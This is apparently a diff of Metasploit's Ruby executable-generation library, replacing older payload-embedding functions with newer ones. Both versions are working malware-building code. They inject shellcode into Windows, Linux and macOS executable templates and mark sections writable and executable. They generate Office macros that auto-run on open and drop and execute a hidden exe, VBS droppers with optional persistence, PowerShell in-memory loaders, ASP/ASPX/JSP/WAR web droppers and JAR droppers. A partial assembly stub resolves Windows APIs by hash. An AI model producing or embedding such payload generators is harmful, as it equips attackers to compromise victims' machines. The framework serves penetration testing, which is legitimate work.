+      # If this isn't our normal template, we have to do some fancy
+      # header patching to mark the .text section rwx before putting our
+      # payload into the entry point.
 
-	##
-	#
-	# Executable generators
-	#
-	##
-	
-	def self.to_executable(framework, arch, plat, code='')
-		if (arch.index(ARCH_X86))
-
-			if (plat.index(Msf::Module::Platform::Windows))
-				return to_win32pe(framework, code)
-			end
-
-			if (plat.index(Msf::Module::Platform::Linux))
-				return to_linux_x86_elf(framework, code)
-			end
-			
-			if(plat.index(Msf::Module::Platform::OSX))
-				return to_osx_x86_macho(framework, code)		
-			end	
-			
-			# XXX: Add remaining x86 systems here					
-		end
-
-		if(arch.index(ARCH_ARMLE))
-			if(plat.index(Msf::Module::Platform::OSX))
-				return to_osx_arm_macho(framework, code)		
-			end
-			# XXX: Add Linux here
-		end
-
-		if(arch.index(ARCH_PPC))
-			if(plat.index(Msf::Module::Platform::OSX))
-				return to_osx_ppc_macho(framework, code)	
-			end
-			# XXX: Add PPC OS X and Linux here			
-		end						
-		nil
-	end
-
-	
-	def self.to_win32pe(framework, code)
-		pe = ''
-
-		fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template.exe"), "rb")
-		pe = fd.read(fd.stat.size)
-		fd.close
-
-		if(code.length < 8192)
-			code << Rex::Text.rand_text(8192-code.length)
-		end
-		
-		bo = pe.index('PAYLOAD:')
-		pe[bo,  8192] = code if bo
-		pe[136,    4] = [rand(0x100000000)].pack('V')
-
-		ci = pe.index("\x31\xc9" * 160)
-		cd = pe.index("\x31\xc9" * 160, ci + 320)
-		rc = pe[ci+320, cd-ci-320]
-		
-		# 640 + rc.length bytes of room to store an encoded rc at offset ci
-		enc = encode_stub(framework, [ARCH_X86], rc)
-		lft = 640+rc.length - enc.length
-
-		buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
-		pe[ci, buf.length] = buf
-		
-		# Make the data section executable
-		xi = pe.index([0xc0300040].pack('V'))
-		pe[xi,4] = [0xe0300020].pack('V')
-		
-		# Add a couple random bytes for fun
-		pe << Rex::Text.rand_text(rand(4096)+128)
-
-		return pe
-	end
-	
-	def self.to_win32pe_service(framework, code, name='SERVICENAME')
-		pe = ''
-
-		fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "service.exe"), "rb")
-		pe = fd.read(fd.stat.size)
-		fd.close
-
-		bo = pe.index('PAYLOAD:')
-		pe[bo, 8192] = [code].pack('a8192') if bo
-
-		bo = pe.index('SERVICENAME')
-		pe[bo, 11] = [name].pack('a11') if bo
-		
-		pe[136, 4] = [rand(0x100000000)].pack('V')
-
-		return pe
-	end
-	
-	def self.to_osx_arm_macho(framework, code)
-		mo = ''
-
-		fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_armle_darwin.bin"), "rb")
-		mo = fd.read(fd.stat.size)
-		fd.close
-
-		bo = mo.index( "\x90\x90\x90\x90" * 1024 )
-		co = mo.index( " " * 512 )
-
-		mo[bo, 8192] = [code].pack('a8192') if bo
-		mo[co, 512]  = [note].pack('a512') if co
-
-		return mo
-	end
-
-	def self.to_osx_ppc_macho(framework, code)
-		mo = ''
-
-		fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_ppc_darwin.bin"), "rb")
-		mo = fd.read(fd.stat.size)
-		fd.close
-
-		bo = mo.index( "\x90\x90\x90\x90" * 1024 )
-		co = mo.index( " " * 512 )
-
-		mo[bo, 8192] = [code].pack('a8192') if bo
-		mo[co, 512]  = [note].pack('a512') if co
-
-		return mo
-	end
-	
-	def self.to_osx_x86_macho(framework, code)
-		mo = ''
-
-		fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_darwin.bin"), "rb")
-		mo = fd.read(fd.stat.size)
-		fd.close
-
-		bo = mo.index( "\x90\x90\x90\x90" * 1024 )
-		co = mo.index( " " * 512 )
-
-		mo[bo, 8192] = [code].pack('a8192') if bo
-		mo[co, 512]  = [note].pack('a512') if co
-
-		return mo
-	end
-		
-	def self.to_linux_x86_elf(framework, code)
-		mo = ''
-
-		fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "template_x86_linux.bin"), "rb")
-		mo = fd.read(fd.stat.size)
-		fd.close
-
-		bo = mo.index( "\x90\x90\x90\x90" * 1024 )
-		co = mo.index( " " * 512 )
-
-		mo[bo, 8192] = [code].pack('a8192') if bo
-		mo[co, 512]  = [note].pack('a512') if co
-
-		return mo
-	end
-
-	def self.to_exe_vba(exe='')
-		vba = ""
-		pcs = (exe.length/2000)+1
-		idx = 0
-		
-		var_base_idx = 0
-		var_base     =  Rex::Text.rand_text_alpha(2).capitalize
-		
-		var_bytes = var_base + (var_base_idx+=1).to_s
-		var_initx = var_base +  Rex::Text.rand_text_alpha(1) + (var_base_idx+=1).to_s
-		
-		vba << "Dim #{var_bytes}(#{exe.length}) as Byte\r\n\r\n"
-		1.upto(pcs) do |pc|
-			max = 0
-			vba << "Sub #{var_initx}#{pc}()\r\n"
-			
-			while(c = exe[idx] and max < 2000)
-				vba << "\t#{var_bytes}(#{idx}) = &H#{("%.2x" % c).upcase}\r\n"
-				idx += 1
-				max += 1
-			end	
-			vba << "End Sub\r\n"
-		end
-		
-		var_lname = var_base + (var_base_idx+=1).to_s
-		var_lpath = var_base + (var_base_idx+=1).to_s
-		var_appnr = var_base + (var_base_idx+=1).to_s
-		var_datnr = var_base + (var_base_idx+=1).to_s
-		
-		vba << "Sub Auto_Open()\r\n"
-		vba << "\tDim #{var_appnr} As Integer\r\n"
-		vba << "\tDim #{var_datnr} As Integer\r\n"
-		vba << "\tDim #{var_lname} As String\r\n"
-		vba << "\tDim #{var_lpath} As String\r\n"
-		vba << "\t#{var_lname} = \"#{rand_text_alpha(rand(8)+8)}.exe\"\r\n"
-		vba << "\t#{var_lpath} = Environ(\"USERPROFILE\")\r\n"
-		vba << "\tChDrive (#{var_lpath})\r\n"
-		vba << "\tChDir (#{var_lpath})\r\n"
-		vba << "\t#{var_datnr} = FreeFile()\r\n"
-		vba << "\tOpen #{var_lname}  For Binary Access Read Write As #{var_datnr}\r\n"
-		
-		1.upto(pcs) do |pc|
-			vba << "\t#{var_initx}#{pc}\r\n"
-		end
-		
-		vba << "\tPut #{var_datnr}, , #{var_bytes}\r\n"
-		vba << "\tClose #{var_datnr}\r\n"
-		vba << "\t#{var_appnr} = Shell(#{var_lname}, vbHide)\r\n"
-		vba << "End Sub\r\n"
-		
-		vba << "Sub AutoOpen()\r\n"
-		vba << "\tAuto_Open\r\n"
-		vba << "End Sub\r\n"
-		
-		vba << "Sub Workbook_Open()\r\n"
-		vba << "\tAuto_Open\r\n"
-		vba << "End Sub\r\n"
-				
-	end
-
-	def self.to_win32pe_vba(framework, code)
-		to_exe_vba(to_win32pe(framework, code))
-	end
-
-	def self.to_exe_vbs(exe = '')
-		vbs = ""
-
-		var_bytes =  Rex::Text.rand_text_alpha(rand(8)+8)
-		var_fname =  Rex::Text.rand_text_alpha(rand(8)+8)
-		var_func =  Rex::Text.rand_text_alpha(rand(8)+8)
-		var_stream =  Rex::Text.rand_text_alpha(rand(8)+8)
-		var_obj =  Rex::Text.rand_text_alpha(rand(8)+8)
-		var_shell =  Rex::Text.rand_text_alpha(rand(8)+8)
-
-		vbs << "Function #{var_func}()\r\n"
-
-		vbs << "#{var_bytes} = Chr(&H#{("%02x" % exe[0])})"
-		
-		1.upto(exe.length) do |byte|
-			vbs << "&Chr(&H#{("%02x" % exe[byte])})" 
-		end	
-		vbs << "\r\n"
-		
-		vbs << "Dim #{var_obj}\r\n"
-		vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
-		vbs << "Dim #{var_stream}\r\n"
-		vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(\"#{var_fname}.exe\")\r\n"
-		vbs << "#{var_stream}.Write #{var_bytes}\r\n"
-		vbs << "#{var_stream}.Close\r\n"
-		vbs << "Dim #{var_shell}\r\n"
-		vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
-		vbs << "#{var_shell}.run(\"#{var_fname}.exe\")\r\n"
-		vbs << "End Function\r\n"
-		vbs << "#{var_func}\r\n"
-	end
-
-	def self.to_win32pe_vbs(framework, code)
-		to_exe_vbs(to_win32pe(framework, code))
-	end
-
-	# Creates a .NET DLL which loads data into memory
-	# at a specified location with read/execute permissions
-	#    - the data will be loaded at: base+0x2065
-	#    - max size is 0x8000 (32768)
-	def self.to_dotnetmem(base=0x12340000, data="")
-		pe = ''
-
-		fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "dotnetmem.dll"), "rb")
-		pe = fd.read(fd.stat.size)
-		fd.close
-
-		# Configure the image base
-		pe[180, 4] = [base].pack('V')
-		
-		# Configure the TimeDateStamp
-		pe[136, 4] = [rand(0x100000000)].pack('V')
-
-		# XXX: Unfortunately we cant make this RWX only RX
-		# Mark this segment as read-execute AND writable
-		# pe[412,4] = [0xe0000020].pack("V")
-		
-		# Write the data into the .text segment
-		pe[0x1065, 0x8000] = [data].pack("a32768")
-		
-		# Generic a randomized UUID
-		pe[37656,16] = Rex::Text.rand_text(16)
-		
-		return pe
-	end
-	
-	
-	def self.encode_stub(framework, arch, code)
-		return code if not framework.encoders
-		framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
-			begin
-				enc = framework.encoders.create(name)
-				raw = enc.encode(code, '')
-				return raw if raw
-			rescue
-			end
-		end
-		nil
-	end
+      # read in the template and parse it
+      e = Metasm::ELF.decode_file(opts[:template])
 
+      # This will become a modified copy of the template's original phdr
+      new_phdr = Metasm::EncodedData.new
+      e.segments.each { |s|
+        # Be lazy and mark any executable segment as writable.  Doing
+        # it this way means we don't have to care about which one
+        # contains .text
+        if s.flags.include? "X"
+          s.flags += [ "W" ]
+        end
+        new_phdr << s.encode(e)
+      }
+
+      # Copy the original file
+      elf = File.open(opts[:template], "rb") {|fd| fd.read(fd.stat.size) }
+
+      # Replace the header with our rwx modified version
+      elf[e.header.phoff, new_phdr.data.length] = new_phdr.data
+
+      # Replace code at the entrypoint with our payload
+      entry_off = e.addr_to_off(e.label_addr('entrypoint'))
+      elf[entry_off, code.length] = code
+    end
+
+    return elf
+  end
+
+  # Create a 32-bit BSD (test on FreeBSD) ELF containing the payload provided in +code+
+  def self.to_bsd_x86_elf(framework, code, opts={})
+    elf = to_exe_elf(framework, opts, "template_x86_bsd.bin", code)
+    return elf
+  end
+
+  # Create a 32-bit Solaris ELF containing the payload provided in +code+
+  def self.to_solaris_x86_elf(framework, code, opts={})
+    elf = to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
+    return elf
+  end
+
+  # Create a 64-bit Linux ELF containing the payload provided in +code+
+  def self.to_linux_x64_elf(framework, code, opts={})
+    elf = to_exe_elf(framework, opts, "template_x64_linux.bin", code)
+    return elf
+  end
+
+  def self.to_linux_armle_elf(framework, code, opts={})
+    elf = to_exe_elf(framework, opts, "template_armle_linux.bin", code)
+    return elf
+  end
+
+  def self.to_linux_mipsle_elf(framework, code, opts={})
+    elf = to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
+    return elf
+  end
+
+  def self.to_linux_mipsbe_elf(framework, code, opts={})
+    elf = to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true)
+    return elf
+  end
+
+  def self.to_exe_vba(exes='')
+    exe = exes.unpack('C*')
+    hash_sub = {}
+    idx = 0
+    maxbytes = 2000
+    var_base_idx = 0
+    var_base = Rex::Text.rand_text_alpha(5).capitalize
+
+    # First write the macro into the vba file
+    hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize
+    hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s
+    hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s
+    hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s
+    hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s
+    hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s
+    hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s
+    hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s
+    hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s
+    hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s
+    hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s
+    hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s
+    hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8)
+
+    # Function 1 extracts the binary
+    hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s
+
+    # Function 2 executes the binary
+    hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s
+
+    hash_sub[:data] = ""
+
+    # Writing the bytes of the exe to the file
+    1.upto(exe.length) do |pc|
+      while(c = exe[idx])
+        hash_sub[:data] << "&H#{("%.2x" % c).upcase}"
+        if (idx > 1 and (idx % maxbytes) == 0)
+          # When maxbytes are written make a new paragrpah
+          hash_sub[:data] << "\r\n"
+        end
+        idx += 1
+      end
+    end
+
+    return read_replace_script_template("to_exe.vba.template", hash_sub)
+  end
+
+def self.to_vba(framework,code,opts={})
+    hash_sub = {}
+    hash_sub[:var_myByte]		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+    hash_sub[:var_myArray]		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+    hash_sub[:var_rwxpage]  	  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+    hash_sub[:var_res]      	  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+    hash_sub[:var_offset] 		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+    hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+    hash_sub[:var_dwStackSize]        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+    hash_sub[:var_lpStartAddress]     = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+    hash_sub[:var_lpParameter]        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+    hash_sub[:var_dwCreationFlags]	  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+    hash_sub[:var_lpThreadID]         = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+    hash_sub[:var_lpAddr]             = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+    hash_sub[:var_lSize]              = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+    hash_sub[:var_flAllocationType]   = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+    hash_sub[:var_flProtect]          = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+    hash_sub[:var_lDest]	          = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+    hash_sub[:var_Source]	 	  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+    hash_sub[:var_Length]		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
+
+    # put the shellcode bytes into an array
+    hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])
+
+    return read_replace_script_template("to_mem.vba.template", hash_sub)
+  end
+
+  def self.to_exe_vbs(exes = '', opts={})
+    delay   = opts[:delay]   || 5
+    persist = opts[:persist] || false
+
+    hash_sub = {}
+    hash_sub[:var_shellcode] = ""
+    hash_sub[:var_bytes]   = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
+    hash_sub[:var_fname]   = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_func]    = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_stream]  = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_obj]     = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_shell]   = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
+
+    hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
+
+    hash_sub[:init] = ""
+
+    if(persist)
+      hash_sub[:init] << "Do\r\n"
+      hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
+      hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"
+      hash_sub[:init] << "Loop\r\n"
+    else
+      hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
+    end
+
+    return read_replace_script_template("to_exe.vbs.template", hash_sub)
+  end
+
+  def self.to_exe_asp(exes = '', opts={})
+    hash_sub = {}
+    hash_sub[:var_bytes]   = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
+    hash_sub[:var_fname]   = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_func]    = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_stream]  = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_obj]     = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_shell]   = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
+
+    hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
+
+    return read_replace_script_template("to_exe.asp.template", hash_sub)
+  end
+
+  def self.to_exe_aspx(exes = '', opts={})
+    hash_sub = {}
+    hash_sub[:var_file] 	= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_tempdir] 	= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_basedir]	= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_tempexe] 	= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_proc]	= Rex::Text.rand_text_alpha(rand(8)+8)
+
+    hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file])
+
+    return read_replace_script_template("to_exe.aspx.template", hash_sub)
+  end
+
+  def self.to_win32pe_psh_net(framework, code, opts={})
+    hash_sub = {}
+    hash_sub[:var_code] 		= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_kernel32] 	= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_baseaddr] 	= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_threadHandle] 	= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_output] 		= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_temp] 		= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_codeProvider] 	= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_compileParams] 	= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_syscode] 		= Rex::Text.rand_text_alpha(rand(8)+8)
+
+    hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
+
+    return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
+  end
+
+  def self.to_win32pe_psh(framework, code, opts={})
+    hash_sub = {}
+    hash_sub[:var_code] 		= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_win32_func]	= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_payload] 		= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_size] 		= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_rwx] 		= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_iter] 		= Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_syscode] 		= Rex::Text.rand_text_alpha(rand(8)+8)
+
+    hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
+
+    return read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
+  end
+
+  def self.to_win32pe_vbs(framework, code, opts={})
+    to_exe_vbs(to_win32pe(framework, code, opts), opts)
+  end
+
+  # Creates a jar file that drops the provided +exe+ into a random file name
+  # in the system's temp dir and executes it.
+  #
+  # @see Msf::Payload::Java
+  #
+  # @return [Rex::Zip::Jar]
+  def self.to_jar(exe, opts={})
+    spawn = opts[:spawn] || 2
+    exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
+    zip = Rex::Zip::Jar.new
+    paths = [
+      [ "metasploit", "Payload.class" ],
+    ]
+    zip.add_files(paths, File.join(Msf::Config.data_directory, "java"))
+    zip.build_manifest :main_class => "metasploit.Payload"
+    config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
+    zip.add_file("metasploit.dat", config)
+    zip.add_file(exe_name, exe)
+
+    zip
+  end
+
+  # Creates a Web Archive (WAR) file from the provided jsp code.
+  #
+  # On Tomcat, WAR files will be deployed into a directory with the same name
+  # as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the
+  # server is in a default configuration, deoployment will happen
+  # automatically. See
+  # {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat
+  # documentation} for a description of how this works.
+  #
+  # @param jsp_raw [String] JSP code to be added in a file called +jsp_name+
+  #   in the archive. This will be compiled by the victim servlet container
+  #   (e.g., Tomcat) and act as the main function for the servlet.
+  # @param opts [Hash]
+  # @option opts :jsp_name [String] Name of the <jsp-file> in the archive
+  #   _without the .jsp extension_. Defaults to random.
+  # @option opts :app_name [String] Name of the app to put in the <servlet-name>
+  #   tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to
+  #   random.
+  # @option opts :extra_files [Array<String,String>] Additional files to add
+  #   to the archive. First elment is filename, second is data
+  #
+  # @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar}
+  #
+  # @return [String]
+  def self.to_war(jsp_raw, opts={})
+    jsp_name = opts[:jsp_name]
+    jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
+    app_name = opts[:app_name]
+    app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
+
+    meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
+    manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
+    web_xml = %q{<?xml version="1.0"?>
+<!DOCTYPE web-app PUBLIC
+"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
+"http://java.sun.com/dtd/web-app_2_3.dtd">
+<web-app>
+<servlet>
+<servlet-name>NAME</servlet-name>
+<jsp-file>/PAYLOAD.jsp</jsp-file>
+</servlet>
+</web-app>
+}
+    web_xml.gsub!(/NAME/, app_name)
+    web_xml.gsub!(/PAYLOAD/, jsp_name)
+
+    zip = Rex::Zip::Archive.new
+    zip.add_file('META-INF/', '', meta_inf)
+    zip.add_file('META-INF/MANIFEST.MF', manifest)
+    zip.add_file('WEB-INF/', '')
+    zip.add_file('WEB-INF/web.xml', web_xml)
+    # add the payload
+    zip.add_file("#{jsp_name}.jsp", jsp_raw)
+
+    # add extra files
+    if opts[:extra_files]
+      opts[:extra_files].each { |el|
+        zip.add_file(el[0], el[1])
+      }
+    end
+
+    return zip.pack
+  end
+
+  # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
+  # payload.  The jsp page converts the hexdump back to a normal binary file
+  # and places it in the temp directory. The payload file is then executed.
+  #
+  # @see to_war
+  # @param exe [String] Executable to drop and run.
+  # @param opts (see to_war)
+  # @option opts (see to_war)
+  # @return (see to_war)
+  def self.to_jsp_war(exe, opts={})
+
+    # begin <payload>.jsp
+    hash_sub = {}
+    hash_sub[:var_hexpath]       = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_exepath]       = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_data]          = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_inputstream]   = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_outputstream]  = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_numbytes]      = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_bytearray]     = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_bytes]         = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_counter]       = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_char1]         = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_char2]         = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_comb]          = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_exe]           = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_hexfile]       = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_proc]          = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_fperm]         = Rex::Text.rand_text_alpha(rand(8)+8)
+    hash_sub[:var_fdel]          = Rex::Text.rand_text_alpha(rand(8)+8)
+
+    # Specify the payload in hex as an extra file..
+    payload_hex = exe.unpack('H*')[0]
+    opts.merge!(
+      {
+        :extra_files =>
+          [
+            [ "#{hash_sub[:var_hexfile]}.txt", payload_hex ]
+          ]
+      })
+
+    template = read_replace_script_template("to_exe_jsp.war.template", hash_sub)
+
+    return self.to_war(template, opts)
+  end
+
+  # Creates a .NET DLL which loads data into memory
+  # at a specified location with read/execute permissions
+  #    - the data will be loaded at: base+0x2065
+  #    - default max size is 0x8000 (32768)
+  def self.to_dotnetmem(base=0x12340000, data="", opts={})
+
+    # Allow the user to specify their own DLL template
+    set_template_default(opts, "dotnetmem.dll")
+
+    pe = ''
+    File.open(opts[:template], "rb") { |fd|
+      pe = fd.read(fd.stat.size)
+    }
+
+    # Configure the image base
+    base_offset = opts[:base_offset] || 180
+    pe[base_offset, 4] = [base].pack('V')
+
+    # Configure the TimeDateStamp
+    timestamp_offset = opts[:timestamp_offset] || 136
+    pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')
+
+    # XXX: Unfortunately we cant make this RWX only RX
+    # Mark this segment as read-execute AND writable
+    # pe[412,4] = [0xe0000020].pack("V")
+
+    # Write the data into the .text segment
+    text_offset = opts[:text_offset] || 0x1065
+    text_max    = opts[:text_max] || 0x8000
+    pack        = opts[:pack] || 'a32768'
+    pe[text_offset, text_max] = [data].pack(pack)
+
+    # Generic a randomized UUID
+    uuid_offset = opts[:uuid_offset] || 37656
+    pe[uuid_offset,16] = Rex::Text.rand_text(16)
+
+    return pe
+  end
+
+
+  def self.encode_stub(framework, arch, code, platform = nil, badchars='')
+    return code if not framework.encoders
+    framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
+      begin
+        enc = framework.encoders.create(name)
+        raw = enc.encode(code, badchars, nil, platform)
+        return raw if raw
+      rescue
+      end
+    end
+    nil
+  end
+
+  def self.generate_nops(framework, arch, len, opts={})
+    opts['BadChars'] ||= ''
+    opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]
+
+    return nil if not framework.nops
+    framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
+      begin
+        nop = framework.nops.create(name)
+        raw = nop.generate_sled(len, opts)
+        return raw if raw
+      rescue
+      end
+    end
+    nil
+  end
+
+  # This wrapper is responsible for allocating RWX memory, copying the
+  # target code there, setting an exception handler that calls ExitProcess
+  # and finally executing the code.
+  def self.win32_rwx_exec(code)
+
+    stub_block = %Q^
+    ; Input: The hash of the API to call and all its parameters must be pushed onto stack.
+    ; Output: The return value from the API call will be in EAX.
+    ; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
+    ; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
+    ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
+    ; Note: This function is unable to call forwarded exports.
+
+    api_call:
+      pushad                 ; We preserve all the registers for the caller, bar EAX and ECX.
+      mov ebp, esp           ; Create a new stack frame
+      xor edx, edx           ; Zero EDX
+      mov edx, [fs:edx+48]   ; Get a pointer to the PEB
+      mov edx, [edx+12]      ; Get PEB->Ldr
+      mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list
+    next_mod:                ;
+      mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
+      movzx ecx, word [edx+38] ; Set ECX to the length we want to check
+      xor edi, edi           ; Clear EDI which will store the hash of the module name
+    loop_modname:            ;
+      xor eax, eax           ; Clear EAX
+      lodsb                  ; Read in the next byte of the name
+      cmp al, 'a'            ; Some versions of Windows use lower case module names
+      jl not_lowercase       ;
+      sub al, 0x20           ; If so normalise to uppercase
+    not_lowercase:           ;
+      ror edi, 13            ; Rotate right our hash value
+      add edi, eax           ; Add the next byte of the name
+      ;loop loop_modname      ; Loop until we have read enough
+      ; The random jmps added below will occasionally make this offset
+      ; greater than will fit in a byte, so we have to use a regular jnz
+      ; instruction which can take a full 32-bits to accomodate the
+      ; bigger offset
+      dec ecx
+      jnz loop_modname        ; Loop until we have read enough
+      ; We now have the module hash computed
+      push edx               ; Save the current position in the module list for later
+      push edi               ; Save the current module hash for later
+      ; Proceed to iterate the export address table,
+      mov edx, [edx+16]      ; Get this modules base address
+      mov eax, [edx+60]      ; Get PE header
+      add eax, edx           ; Add the modules base address
+      mov eax, [eax+120]     ; Get export tables RVA
